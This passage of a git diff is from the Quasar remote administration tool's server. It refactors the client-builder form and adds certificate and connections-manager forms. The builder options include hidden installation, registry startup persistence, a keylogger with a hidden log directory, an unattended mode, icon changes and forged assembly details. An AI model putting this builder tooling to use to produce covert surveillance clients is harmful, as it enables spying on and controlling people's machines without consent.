numericUpDownDelay.Value = profile.Delay;
txtMutex.Text = profile.Mutex;
+ chkUnattendedMode.Checked = profile.UnattendedMode;
chkInstall.Checked = profile.InstallClient;
- txtInstallname.Text = profile.InstallName;
+ txtInstallName.Text = profile.InstallName;
GetInstallPath(profile.InstallPath).Checked = true;
- txtInstallsub.Text = profile.InstallSub;
+ txtInstallSubDirectory.Text = profile.InstallSub;
chkHide.Checked = profile.HideFile;
+ chkHideSubDirectory.Checked = profile.HideSubDirectory;
chkStartup.Checked = profile.AddStartup;
txtRegistryKeyName.Text = profile.RegistryName;
chkChangeIcon.Checked = profile.ChangeIcon;
@@ -59,20 +64,21 @@ private void LoadProfile(string profilename)
_profileLoaded = true;
}
- private void SaveProfile(string profilename)
+ private void SaveProfile(string profileName)
{
- var profile = new BuilderProfile(profilename);
+ var profile = new BuilderProfile(profileName);
profile.Tag = txtTag.Text;
- profile.Hosts = HostHelper.GetRawHosts(_hosts);
- profile.Password = txtPassword.Text;
- profile.Delay = (int)numericUpDownDelay.Value;
+ profile.Hosts = _hostsConverter.ListToRawHosts(_hosts);
+ profile.Delay = (int) numericUpDownDelay.Value;
profile.Mutex = txtMutex.Text;
+ profile.UnattendedMode = chkUnattendedMode.Checked;
profile.InstallClient = chkInstall.Checked;
- profile.InstallName = txtInstallname.Text;
+ profile.InstallName = txtInstallName.Text;
profile.InstallPath = GetInstallPath();
- profile.InstallSub = txtInstallsub.Text;
+ profile.InstallSub = txtInstallSubDirectory.Text;
profile.HideFile = chkHide.Checked;
+ profile.HideSubDirectory = chkHideSubDirectory.Checked;
profile.AddStartup = chkStartup.Checked;
profile.RegistryName = txtRegistryKeyName.Text;
profile.ChangeIcon = chkChangeIcon.Checked;
@@ -93,6 +99,7 @@ private void SaveProfile(string profilename)
private void FrmBuilder_Load(object sender, EventArgs e)
{
+ lstHosts.DataSource = new BindingSource(_hosts, null);
LoadProfile("Default");
numericUpDownPort.Value = Settings.ListenPort;
@@ -101,12 +108,13 @@ private void FrmBuilder_Load(object sender, EventArgs e)
UpdateStartupControlStates();
UpdateAssemblyControlStates();
UpdateIconControlStates();
+ UpdateKeyloggerControlStates();
}
private void FrmBuilder_FormClosing(object sender, FormClosingEventArgs e)
{
if (_changed &&
- MessageBox.Show("Do you want to save your current settings?", "Changes detected",
+ MessageBox.Show(this, "Do you want to save your current settings?", "Changes detected",
MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
{
SaveProfile("Default");
@@ -120,7 +128,7 @@ private void btnAddHost_Click(object sender, EventArgs e)
HasChanged();
var host = txtHost.Text;
- ushort port = (ushort)numericUpDownPort.Value;
+ ushort port = (ushort) numericUpDownPort.Value;
_hosts.Add(new Host {Hostname = host, Port = port});
txtHost.Text = "";
@@ -155,26 +163,21 @@ private void clearToolStripMenuItem_Click(object sender, EventArgs e)
#endregion
#region "Misc"
- private void chkShowPass_CheckedChanged(object sender, EventArgs e)
- {
- txtPassword.PasswordChar = (chkShowPass.Checked) ? '\0' : '•';
- }
-
private void txtInstallname_KeyPress(object sender, KeyPressEventArgs e)
{
- e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
+ e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
private void txtInstallsub_KeyPress(object sender, KeyPressEventArgs e)
{
- e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
+ e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
private void txtLogDirectoryName_KeyPress(object sender, KeyPressEventArgs e)
{
- e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
+ e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
@@ -182,7 +185,7 @@ private void btnMutex_Click(object sender, EventArgs e)
{
HasChanged();
- txtMutex.Text = FormatHelper.GenerateMutex();
+ txtMutex.Text = Guid.NewGuid().ToString();
}
private void chkInstall_CheckedChanged(object sender, EventArgs e)
@@ -206,6 +209,13 @@ private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e)
UpdateAssemblyControlStates();
}
+ private void chkKeylogger_CheckedChanged(object sender, EventArgs e)
+ {
+ HasChanged();
+
+ UpdateKeyloggerControlStates();
+ }
+
private void btnBrowseIcon_Click(object sender, EventArgs e)
{
using (OpenFileDialog ofd = new OpenFileDialog())
@@ -232,67 +242,53 @@ private void chkChangeIcon_CheckedChanged(object sender, EventArgs e)
private bool CheckForEmptyInput()
{
return (!string.IsNullOrWhiteSpace(txtTag.Text) && !string.IsNullOrWhiteSpace(txtMutex.Text) && // General Settings
- _hosts.Count > 0 && !string.IsNullOrWhiteSpace(txtPassword.Text) && // Connection
- (!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrWhiteSpace(txtInstallname.Text))) && // Installation
+ _hosts.Count > 0 && // Connection
+ (!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrWhiteSpace(txtInstallName.Text))) && // Installation
(!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrWhiteSpace(txtRegistryKeyName.Text)))); // Installation
}
- private BuildOptions ValidateInput()
+ private BuildOptions GetBuildOptions()
{
BuildOptions options = new BuildOptions();
if (!CheckForEmptyInput())
{
- MessageBox.Show("Please fill out all required fields!", "Build failed", MessageBoxButtons.OK,
- MessageBoxIcon.Information);
- return options;
+ throw new Exception("Please fill out all required fields!");
}
options.Tag = txtTag.Text;
options.Mutex = txtMutex.Text;
- options.RawHosts = HostHelper.GetRawHosts(_hosts);
- options.Password = txtPassword.Text;
- options.Delay = (int)numericUpDownDelay.Value;
+ options.UnattendedMode = chkUnattendedMode.Checked;
+ options.RawHosts = _hostsConverter.ListToRawHosts(_hosts);
+ options.Delay = (int) numericUpDownDelay.Value;
options.IconPath = txtIconPath.Text;
options.Version = Application.ProductVersion;
options.InstallPath = GetInstallPath();
- options.InstallSub = txtInstallsub.Text;
- options.InstallName = txtInstallname.Text + ".exe";
+ options.InstallSub = txtInstallSubDirectory.Text;
+ options.InstallName = txtInstallName.Text + ".exe";
options.StartupName = txtRegistryKeyName.Text;
options.Install = chkInstall.Checked;
options.Startup = chkStartup.Checked;
options.HideFile = chkHide.Checked;
+ options.HideInstallSubdirectory = chkHideSubDirectory.Checked;
options.Keylogger = chkKeylogger.Checked;
options.LogDirectoryName = txtLogDirectoryName.Text;
options.HideLogDirectory = chkHideLogDirectory.Checked;
- if (options.Password.Length < 3)
- {
- MessageBox.Show("Please enter a secure password with more than 3 characters.",
- "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Warning);
- return options;
- }
-
if (!File.Exists("client.bin"))
{
- MessageBox.Show("Could not locate \"client.bin\" file. It should be in the same directory as Quasar.",
- "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error);
- return options;
+ throw new Exception("Could not locate \"client.bin\" file. It should be in the same directory as Quasar.");
}
if (options.RawHosts.Length < 2)
{
- MessageBox.Show("Please enter a valid host to connect to.", "Build failed", MessageBoxButtons.OK,
- MessageBoxIcon.Error);
- return options;
+ throw new Exception("Please enter a valid host to connect to.");
}
if (chkChangeIcon.Checked)
{
if (string.IsNullOrWhiteSpace(options.IconPath) || !File.Exists(options.IconPath))
{
- MessageBox.Show("Please choose a valid icon path.", "Build failed", MessageBoxButtons.OK,
- MessageBoxIcon.Error);
- return options;
+ throw new Exception("Please choose a valid icon path.");
}
}
else
@@ -300,18 +296,14 @@ private BuildOptions ValidateInput()
if (chkChangeAsmInfo.Checked)
{
- if (!FormatHelper.IsValidVersionNumber(txtProductVersion.Text))
+ if (!IsValidVersionNumber(txtProductVersion.Text))
{
- MessageBox.Show("Please enter a valid product version number!\nExample: 1.2.3.4", "Build failed",
- MessageBoxButtons.OK, MessageBoxIcon.Error);
- return options;
+ throw new Exception("Please enter a valid product version number!\nExample: 1.2.3.4");
}
- if (!FormatHelper.IsValidVersionNumber(txtFileVersion.Text))
+ if (!IsValidVersionNumber(txtFileVersion.Text))
{
- MessageBox.Show("Please enter a valid file version number!\nExample: 1.2.3.4", "Build failed",
- MessageBoxButtons.OK, MessageBoxIcon.Error);
- return options;
+ throw new Exception("Please enter a valid file version number!\nExample: 1.2.3.4");
}
options.AssemblyInformation = new string[8];
@@ -333,41 +325,92 @@ private BuildOptions ValidateInput()
sfd.FileName = "Client-built.exe";
if (sfd.ShowDialog() != DialogResult.OK)
{
- return options;
+ throw new Exception("Please choose a valid output path.");
}
options.OutputPath = sfd.FileName;
}
if (string.IsNullOrEmpty(options.OutputPath))
{
- MessageBox.Show("Please choose a valid output path.", "Build failed", MessageBoxButtons.OK,
- MessageBoxIcon.Error);
- return options;
+ throw new Exception("Please choose a valid output path.");
}
- options.ValidationSuccess = true;
return options;
}
private void btnBuild_Click(object sender, EventArgs e)
{
- BuildOptions options = ValidateInput();
- if (!options.ValidationSuccess)
+ BuildOptions options;
+ try
+ {
+ options = GetBuildOptions();
+ }
+ catch (Exception ex)
+ {
+ MessageBox.Show(this, ex.Message, "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
+ }
+
+ SetBuildState(false);
+
+ Thread t = new Thread(BuildClient);
+ t.Start(options);
+ }
+
+ private void SetBuildState(bool state)
+ {
+ try
+ {
+ this.Invoke((MethodInvoker)delegate
+ {
+ btnBuild.Text = (state) ? "Build" : "Building...";
+ btnBuild.Enabled = state;
+ });
+ }
+ catch (InvalidOperationException)
+ {
+ }
+ }
+ private void BuildClient(object o)
+ {
try
{
- ClientBuilder.Build(options);
+ BuildOptions options = (BuildOptions) o;
- MessageBox.Show("Successfully built client!\nSaved to: " + options.OutputPath, "Build Success", MessageBoxButtons.OK,
- MessageBoxIcon.Information);
+ var builder = new ClientBuilder(options, "client.bin");
+
+ builder.Build();
+
+ try
+ {
+ this.Invoke((MethodInvoker) delegate
+ {
+ MessageBox.Show(this,
+ $"Successfully built client! Saved to:\\{options.OutputPath}",
+ "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
+ });
+ }
+ catch (Exception)
+ {
+ }
}
catch (Exception ex)
{
- MessageBox.Show(
- string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message,
- ex.StackTrace), "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ try
+ {
+ this.Invoke((MethodInvoker)delegate
+ {
+ MessageBox.Show(this,
+ $"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed",
+ MessageBoxButtons.OK, MessageBoxIcon.Error);
+ });
+ }
+ catch (Exception)
+ {
+ }
}
+ SetBuildState(true);
}
private void RefreshPreviewPath()
@@ -377,25 +420,27 @@ private void RefreshPreviewPath()
path =
Path.Combine(
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
- txtInstallsub.Text), txtInstallname.Text);
+ txtInstallSubDirectory.Text), txtInstallName.Text);
else if (rbProgramFiles.Checked)
path =
Path.Combine(
Path.Combine(
- Environment.GetFolderPath(PlatformHelper.Architecture == 64
- ? Environment.SpecialFolder.ProgramFilesX86
- : Environment.SpecialFolder.ProgramFiles), txtInstallsub.Text), txtInstallname.Text);
+ Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), txtInstallSubDirectory.Text), txtInstallName.Text);
else if (rbSystem.Checked)
path =
Path.Combine(
Path.Combine(
- Environment.GetFolderPath(PlatformHelper.Architecture == 64
- ? Environment.SpecialFolder.SystemX86
- : Environment.SpecialFolder.System), txtInstallsub.Text), txtInstallname.Text);
+ Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallSubDirectory.Text), txtInstallName.Text);
this.Invoke((MethodInvoker)delegate { txtPreviewPath.Text = path + ".exe"; });
}
+ private bool IsValidVersionNumber(string input)
+ {
+ Match match = Regex.Match(input, @"^[0-9]+\.[0-9]+\.(\*|[0-9]+)\.(\*|[0-9]+)$", RegexOptions.IgnoreCase);
+ return match.Success;
+ }
+
private short GetInstallPath()
{
if (rbAppdata.Checked) return 1;
@@ -444,12 +489,19 @@ private void UpdateStartupControlStates()
private void UpdateInstallationControlStates()
{
- txtInstallname.Enabled = chkInstall.Checked;
+ txtInstallName.Enabled = chkInstall.Checked;
rbAppdata.Enabled = chkInstall.Checked;
rbProgramFiles.Enabled = chkInstall.Checked;
rbSystem.Enabled = chkInstall.Checked;
- txtInstallsub.Enabled = chkInstall.Checked;
+ txtInstallSubDirectory.Enabled = chkInstall.Checked;
chkHide.Enabled = chkInstall.Checked;
+ chkHideSubDirectory.Enabled = chkInstall.Checked;
+ }
+
+ private void UpdateKeyloggerControlStates()
+ {
+ txtLogDirectoryName.Enabled = chkKeylogger.Checked;
+ chkHideLogDirectory.Enabled = chkKeylogger.Checked;
}
private void HasChanged()
diff --git a/Server/Forms/FrmBuilder.resx b/Quasar.Server/Forms/FrmBuilder.resx
similarity index 100%
rename from Server/Forms/FrmBuilder.resx
rename to Quasar.Server/Forms/FrmBuilder.resx
diff --git a/Quasar.Server/Forms/FrmCertificate.Designer.cs b/Quasar.Server/Forms/FrmCertificate.Designer.cs
new file mode 100644
index 000000000..78e5b0408
--- /dev/null
+++ b/Quasar.Server/Forms/FrmCertificate.Designer.cs
@@ -0,0 +1,159 @@
+namespace Quasar.Server.Forms
+{
+ partial class FrmCertificate
+ {
+ ///
+ /// Required designer variable.
+ ///
+ private System.ComponentModel.IContainer components = null;
+
+ ///
+ /// Clean up any resources being used.
+ ///
+ /// true if managed resources should be disposed; otherwise, false.
+ protected override void Dispose(bool disposing)
+ {
+ if (disposing && (components != null))
+ {
+ components.Dispose();
+ }
+ base.Dispose(disposing);
+ }
+
+ #region Windows Form Designer generated code
+
+ ///
+ /// Required method for Designer support - do not modify
+ /// the contents of this method with the code editor.
+ ///
+ private void InitializeComponent()
+ {
+ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmCertificate));
+ this.lblInfo = new System.Windows.Forms.Label();
+ this.btnCreate = new System.Windows.Forms.Button();
+ this.lblDescription = new System.Windows.Forms.Label();
+ this.txtDetails = new System.Windows.Forms.TextBox();
+ this.btnImport = new System.Windows.Forms.Button();
+ this.btnSave = new System.Windows.Forms.Button();
+ this.label1 = new System.Windows.Forms.Label();
+ this.btnExit = new System.Windows.Forms.Button();
+ this.SuspendLayout();
+ //
+ // lblInfo
+ //
+ this.lblInfo.AutoSize = true;
+ this.lblInfo.Location = new System.Drawing.Point(12, 53);
+ this.lblInfo.Name = "lblInfo";
+ this.lblInfo.Size = new System.Drawing.Size(130, 13);
+ this.lblInfo.TabIndex = 3;
+ this.lblInfo.Text = "(this might take a while)";
+ //
+ // btnCreate
+ //
+ this.btnCreate.Location = new System.Drawing.Point(12, 27);
+ this.btnCreate.Name = "btnCreate";
+ this.btnCreate.Size = new System.Drawing.Size(75, 23);
+ this.btnCreate.TabIndex = 1;
+ this.btnCreate.Text = "Create";
+ this.btnCreate.UseVisualStyleBackColor = true;
+ this.btnCreate.Click += new System.EventHandler(this.btnCreate_Click);
+ //
+ // lblDescription
+ //
+ this.lblDescription.AutoSize = true;
+ this.lblDescription.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.lblDescription.Location = new System.Drawing.Point(9, 9);
+ this.lblDescription.Name = "lblDescription";
+ this.lblDescription.Size = new System.Drawing.Size(493, 15);
+ this.lblDescription.TabIndex = 0;
+ this.lblDescription.Text = "To use Quasar create a new certificate or import an existing one from a previous" +
+ " installation.";
+ //
+ // txtDetails
+ //
+ this.txtDetails.Location = new System.Drawing.Point(12, 69);
+ this.txtDetails.Multiline = true;
+ this.txtDetails.Name = "txtDetails";
+ this.txtDetails.ReadOnly = true;
+ this.txtDetails.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
+ this.txtDetails.Size = new System.Drawing.Size(517, 230);
+ this.txtDetails.TabIndex = 4;
+ //
+ // btnImport
+ //
+ this.btnImport.Location = new System.Drawing.Point(93, 27);
+ this.btnImport.Name = "btnImport";
+ this.btnImport.Size = new System.Drawing.Size(130, 23);
+ this.btnImport.TabIndex = 2;
+ this.btnImport.Text = "Browse && Import";
+ this.btnImport.UseVisualStyleBackColor = true;
+ this.btnImport.Click += new System.EventHandler(this.btnImport_Click);
+ //
+ // btnSave
+ //
+ this.btnSave.Enabled = false;
+ this.btnSave.Location = new System.Drawing.Point(373, 305);
+ this.btnSave.Name = "btnSave";
+ this.btnSave.Size = new System.Drawing.Size(75, 23);
+ this.btnSave.TabIndex = 6;
+ this.btnSave.Text = "Save";
+ this.btnSave.UseVisualStyleBackColor = true;
+ this.btnSave.Click += new System.EventHandler(this.btnSave_Click);
+ //
+ // label1
+ //
+ this.label1.AutoSize = true;
+ this.label1.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.label1.Location = new System.Drawing.Point(12, 310);
+ this.label1.Name = "label1";
+ this.label1.Size = new System.Drawing.Size(355, 15);
+ this.label1.TabIndex = 5;
+ this.label1.Text = "KEEP THIS FILE SAFE! LOSS RESULTS IN LOOSING ALL CLIENTS!";
+ //
+ // btnExit
+ //
+ this.btnExit.Location = new System.Drawing.Point(454, 306);
+ this.btnExit.Name = "btnExit";
+ this.btnExit.Size = new System.Drawing.Size(75, 23);
+ this.btnExit.TabIndex = 7;
+ this.btnExit.Text = "Exit";
+ this.btnExit.UseVisualStyleBackColor = true;
+ this.btnExit.Click += new System.EventHandler(this.btnExit_Click);
+ //
+ // FrmCertificate
+ //
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
+ this.ClientSize = new System.Drawing.Size(541, 341);
+ this.Controls.Add(this.btnExit);
+ this.Controls.Add(this.label1);
+ this.Controls.Add(this.btnSave);
+ this.Controls.Add(this.lblDescription);
+ this.Controls.Add(this.txtDetails);
+ this.Controls.Add(this.lblInfo);
+ this.Controls.Add(this.btnImport);
+ this.Controls.Add(this.btnCreate);
+ this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
+ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
+ this.MaximizeBox = false;
+ this.MinimizeBox = false;
+ this.Name = "FrmCertificate";
+ this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
+ this.Text = "Quasar - Certificate Wizard";
+ this.ResumeLayout(false);
+ this.PerformLayout();
+
+ }
+
+ #endregion
+ private System.Windows.Forms.Label lblDescription;
+ private System.Windows.Forms.Label lblInfo;
+ private System.Windows.Forms.Button btnCreate;
+ private System.Windows.Forms.TextBox txtDetails;
+ private System.Windows.Forms.Button btnImport;
+ private System.Windows.Forms.Button btnSave;
+ private System.Windows.Forms.Label label1;
+ private System.Windows.Forms.Button btnExit;
+ }
+}
diff --git a/Quasar.Server/Forms/FrmCertificate.cs b/Quasar.Server/Forms/FrmCertificate.cs
new file mode 100644
index 000000000..3f795c132
--- /dev/null
+++ b/Quasar.Server/Forms/FrmCertificate.cs
@@ -0,0 +1,100 @@
+using Quasar.Server.Helper;
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Security.Cryptography.X509Certificates;
+using System.Windows.Forms;
+using Quasar.Server.Models;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmCertificate : Form
+ {
+ private X509Certificate2 _certificate;
+
+ public FrmCertificate()
+ {
+ InitializeComponent();
+ }
+
+ private void SetCertificate(X509Certificate2 certificate)
+ {
+ _certificate = certificate;
+ txtDetails.Text = _certificate.ToString(false);
+ btnSave.Enabled = true;
+ }
+
+ private void btnCreate_Click(object sender, EventArgs e)
+ {
+ SetCertificate(CertificateHelper.CreateCertificateAuthority("Quasar Server CA", 4096));
+ }
+
+ private void btnImport_Click(object sender, EventArgs e)
+ {
+ using (var ofd = new OpenFileDialog())
+ {
+ ofd.CheckFileExists = true;
+ ofd.Filter = "*.p12|*.p12";
+ ofd.Multiselect = false;
+ ofd.InitialDirectory = Application.StartupPath;
+ if (ofd.ShowDialog(this) == DialogResult.OK)
+ {
+ try
+ {
+ SetCertificate(new X509Certificate2(ofd.FileName, "", X509KeyStorageFlags.Exportable));
+ }
+ catch (Exception ex)
+ {
+ MessageBox.Show(this, $"Error importing the certificate:\n{ex.Message}", "Save error",
+ MessageBoxButtons.OK, MessageBoxIcon.Error);
+ }
+ }
+ }
+ }
+
+ private void btnSave_Click(object sender, EventArgs e)
+ {
+ try
+ {
+ if (_certificate == null)
+ throw new ArgumentNullException();
+
+ if (!_certificate.HasPrivateKey)
+ throw new ArgumentException();
+
+ File.WriteAllBytes(Settings.CertificatePath, _certificate.Export(X509ContentType.Pkcs12));
+
+ MessageBox.Show(this,
+ "Please backup the certificate now. Loss of the certificate results in loosing all clients!",
+ "Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information);
+
+ string argument = "/select, \"" + Settings.CertificatePath + "\"";
+ Process.Start("explorer.exe", argument);
+
+ this.DialogResult = DialogResult.OK;
+ }
+ catch (ArgumentNullException)
+ {
+ MessageBox.Show(this, "Please create or import a certificate first.", "Save error",
+ MessageBoxButtons.OK, MessageBoxIcon.Error);
+ }
+ catch (ArgumentException)
+ {
+ MessageBox.Show(this,
+ "The imported certificate has no associated private key. Please import a different certificate.",
+ "Save error", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ }
+ catch (Exception)
+ {
+ MessageBox.Show(this,
+ "There was an error saving the certificate, please make sure you have write access to the Quasar directory.",
+ "Save error", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ }
+ }
+
+ private void btnExit_Click(object sender, EventArgs e)
+ {
+ Environment.Exit(0);
+ }
+ }
+}
diff --git a/Server/Forms/FrmDownloadAndExecute.resx b/Quasar.Server/Forms/FrmCertificate.resx
similarity index 100%
rename from Server/Forms/FrmDownloadAndExecute.resx
rename to Quasar.Server/Forms/FrmCertificate.resx
diff --git a/Quasar.Server/Forms/FrmConnections.Designer.cs b/Quasar.Server/Forms/FrmConnections.Designer.cs
new file mode 100644
index 000000000..1062e74b4
--- /dev/null
+++ b/Quasar.Server/Forms/FrmConnections.Designer.cs
@@ -0,0 +1,153 @@
+using Quasar.Server.Controls;
+
+namespace Quasar.Server.Forms
+{
+ partial class FrmConnections
+ {
+ ///
+ /// Required designer variable.
+ ///
+ private System.ComponentModel.IContainer components = null;
+
+ ///
+ /// Clean up any resources being used.
+ ///
+ /// true if managed resources should be disposed; otherwise, false.
+ protected override void Dispose(bool disposing)
+ {
+ if (disposing && (components != null))
+ {
+ components.Dispose();
+ }
+ base.Dispose(disposing);
+ }
+
+ #region Windows Form Designer generated code
+
+ ///
+ /// Required method for Designer support - do not modify
+ /// the contents of this method with the code editor.
+ ///
+ private void InitializeComponent()
+ {
+ this.components = new System.ComponentModel.Container();
+ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmConnections));
+ this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components);
+ this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.closeConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.lstConnections = new AeroListView();
+ this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.contextMenuStrip.SuspendLayout();
+ this.SuspendLayout();
+ //
+ // contextMenuStrip
+ //
+ this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
+ this.refreshToolStripMenuItem,
+ this.closeConnectionToolStripMenuItem});
+ this.contextMenuStrip.Name = "contextMenuStrip";
+ this.contextMenuStrip.Size = new System.Drawing.Size(169, 48);
+ //
+ // refreshToolStripMenuItem
+ //
+ this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh;
+ this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
+ this.refreshToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
+ this.refreshToolStripMenuItem.Text = "Refresh";
+ this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click);
+ //
+ // closeConnectionToolStripMenuItem
+ //
+ this.closeConnectionToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.uac_shield;
+ this.closeConnectionToolStripMenuItem.Name = "closeConnectionToolStripMenuItem";
+ this.closeConnectionToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
+ this.closeConnectionToolStripMenuItem.Text = "Close Connection";
+ this.closeConnectionToolStripMenuItem.Click += new System.EventHandler(this.closeConnectionToolStripMenuItem_Click);
+ //
+ // lstConnections
+ //
+ this.lstConnections.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
+ this.columnHeader1,
+ this.columnHeader2,
+ this.columnHeader3,
+ this.columnHeader4,
+ this.columnHeader5,
+ this.columnHeader6});
+ this.lstConnections.ContextMenuStrip = this.contextMenuStrip;
+ this.lstConnections.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.lstConnections.FullRowSelect = true;
+ this.lstConnections.Location = new System.Drawing.Point(0, 0);
+ this.lstConnections.Name = "lstConnections";
+ this.lstConnections.Size = new System.Drawing.Size(703, 421);
+ this.lstConnections.TabIndex = 0;
+ this.lstConnections.UseCompatibleStateImageBehavior = false;
+ this.lstConnections.View = System.Windows.Forms.View.Details;
+ this.lstConnections.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstConnections_ColumnClick);
+ //
+ // columnHeader1
+ //
+ this.columnHeader1.Text = "Process";
+ this.columnHeader1.Width = 179;
+ //
+ // columnHeader2
+ //
+ this.columnHeader2.Text = "Local Address";
+ this.columnHeader2.Width = 95;
+ //
+ // columnHeader3
+ //
+ this.columnHeader3.Text = "Local Port";
+ this.columnHeader3.Width = 75;
+ //
+ // columnHeader4
+ //
+ this.columnHeader4.Text = "Remote Address";
+ this.columnHeader4.Width = 95;
+ //
+ // columnHeader5
+ //
+ this.columnHeader5.Text = "Remote Port";
+ this.columnHeader5.Width = 75;
+ //
+ // columnHeader6
+ //
+ this.columnHeader6.Text = "State";
+ this.columnHeader6.Width = 85;
+ //
+ // FrmConnections
+ //
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
+ this.ClientSize = new System.Drawing.Size(703, 421);
+ this.Controls.Add(this.lstConnections);
+ this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
+ this.Name = "FrmConnections";
+ this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
+ this.Text = "Connections []";
+ this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmConnections_FormClosing);
+ this.Load += new System.EventHandler(this.FrmConnections_Load);
+ this.contextMenuStrip.ResumeLayout(false);
+ this.ResumeLayout(false);
+
+ }
+
+ #endregion
+
+ private Controls.AeroListView lstConnections;
+ private System.Windows.Forms.ColumnHeader columnHeader1;
+ private System.Windows.Forms.ColumnHeader columnHeader2;
+ private System.Windows.Forms.ColumnHeader columnHeader3;
+ private System.Windows.Forms.ColumnHeader columnHeader4;
+ private System.Windows.Forms.ColumnHeader columnHeader5;
+ private System.Windows.Forms.ColumnHeader columnHeader6;
+ private System.Windows.Forms.ContextMenuStrip contextMenuStrip;
+ private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem closeConnectionToolStripMenuItem;
+ }
+}
\ No newline at end of file
diff --git a/Quasar.Server/Forms/FrmConnections.cs b/Quasar.Server/Forms/FrmConnections.cs
new file mode 100644
index 000000000..17f0a2574
--- /dev/null
+++ b/Quasar.Server/Forms/FrmConnections.cs
@@ -0,0 +1,169 @@
+using System;
+using System.Collections.Generic;
+using System.Windows.Forms;
+using Quasar.Common.Messages;
+using Quasar.Common.Models;
+using Quasar.Server.Helper;
+using Quasar.Server.Messages;
+using Quasar.Server.Networking;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmConnections : Form
+ {
+ ///
+ /// The client which can be used for the connections manager.
+ ///
+ private readonly Client _connectClient;
+
+ ///
+ /// The message handler for handling the communication with the client.
+ ///
+ private readonly TcpConnectionsHandler _connectionsHandler;
+
+ ///
+ ///
+ ///
+ private readonly Dictionary _groups = new Dictionary();
+
+ ///
+ /// Holds the opened connections manager form for each client.
+ ///
+ private static readonly Dictionary OpenedForms = new Dictionary();
+
+ ///
+ /// Creates a new connections manager form for the client or gets the current open form, if there exists one already.
+ ///
